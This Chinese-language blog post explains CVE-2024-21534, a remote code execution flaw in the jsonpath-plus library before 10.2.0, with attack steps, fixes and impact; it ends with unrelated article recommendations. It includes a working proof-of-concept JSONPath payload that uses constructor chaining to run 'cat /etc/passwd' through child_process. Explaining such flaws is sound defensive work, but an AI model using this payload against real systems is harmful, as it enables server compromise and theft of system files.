JSONPath Plus Remote Code Execution (RCE) 漏洞

jsonpath-plus 是一个用于查询和操作 JSON 数据的 JavaScript 库,类似于 XML 的 XPath。在 10.2.0 之前的版本中,存在一个严重的安全漏洞,编号为 CVE-2024-21534,攻击者可以利用此漏洞在服务器上执行任意代码,即远程代码执行(RCE)。

漏洞原理

该漏洞源于 jsonpath-plus 未能充分过滤用户输入,导致攻击者可以通过构造恶意的 JSONPath 表达式来执行任意 JavaScript 代码. jsonpath-plus 内部使用了 Node.js 的 vm 模块,该模块允许在沙箱环境中运行代码。但如果未对输入进行适当的清理,攻击者便可利用 vm 模块执行恶意代码.

即使在 10.0.0 版本之后,jsonpath-plus 尝试修复此漏洞,但仍可以使用不同的Payload绕过。

实际应用例子

假设你有一个在线商店,允许用户使用 JSONPath 查询商品信息。如果你的应用使用了存在漏洞的 jsonpath-plus 版本,攻击者可以构造一个包含恶意 JavaScript 代码的 JSONPath 表达式,例如读取服务器上的敏感文件或执行系统命令[1]。

攻击步骤

  1. 恶意输入构造:攻击者创建一个包含恶意 JavaScript 代码的 JSONPath 表达式。
  2. 注入点 :将恶意 JSONPath 表达式提供给应用程序的端点,该端点使用 jsonpath-plus 处理用户提供的 JSON 数据查询。
  3. 代码执行 :应用程序使用 vm 模块评估表达式,而没有进行适当的清理,导致攻击者的代码在服务器上执行。

PoC Demo

javascript 复制代码
// index.js
const { JSONPath } = require("jsonpath-plus");

const data = {};

// 恶意代码,例如读取 /etc/passwd 文件
const maliciousCode = 'require("child_process").exec("cat /etc/passwd")';

// 构造包含恶意代码的 JSONPath 表达式
const maliciousPath = `$[(this.constructor.constructor("${maliciousCode}")())]`;

// 使用 JSONPath 执行查询
const result = JSONPath({
  json: data,
  path: maliciousPath
});

修复方案

  1. 升级 jsonpath-plus:升级到 10.2.0 或更高版本,该版本已修复此漏洞。
  2. 代码审查:检查代码中是否存在可能重新启用不安全功能的自定义配置,并进行相应调整。
  3. 输入清理:始终确保对用户输入进行适当的清理,以防止注入攻击。

影响

  • 未授权访问:攻击者可以获得对系统的未授权访问。
  • 数据泄露:敏感信息可能被暴露或窃取。
  • 系统入侵:可能导致完整的系统入侵,从而导致服务中断或其他攻击。

其他受影响的应用

IBM App Connect Enterprise 存在由于 jsonpath-plus 导致的多重漏洞。

相关推荐
GreenTea5 小时前
一文搞懂Harness Engineering与Meta-Harness
前端·人工智能·后端
我是大猴子6 小时前
Spring代理类为何依赖注入失效?
java·后端·spring
码事漫谈7 小时前
手把手带你部署本地模型,让你Token自由(小白专属)
前端·后端
码农BookSea8 小时前
ReAct:让大模型学会边想边做
后端·ai编程
码农BookSea8 小时前
10分钟掌握 JSON-RPC 协议,面试加分、设计不踩坑
后端
凤年徐8 小时前
C++手撕红黑树:从0到200行,拿下STL map底层核心
c++·后端·算法
IT_陈寒8 小时前
Python的列表推导式里藏了个坑,差点让我加班到凌晨
前端·人工智能·后端
卷无止境10 小时前
podman与docker的区别和生产环境最佳实践
后端
程途知微10 小时前
ConcurrentHashMap线程安全实现原理全解析
java·后端
Mars酱10 小时前
1分钟编写贪吃蛇 | JSnake贪吃蛇单机版
java·后端·开源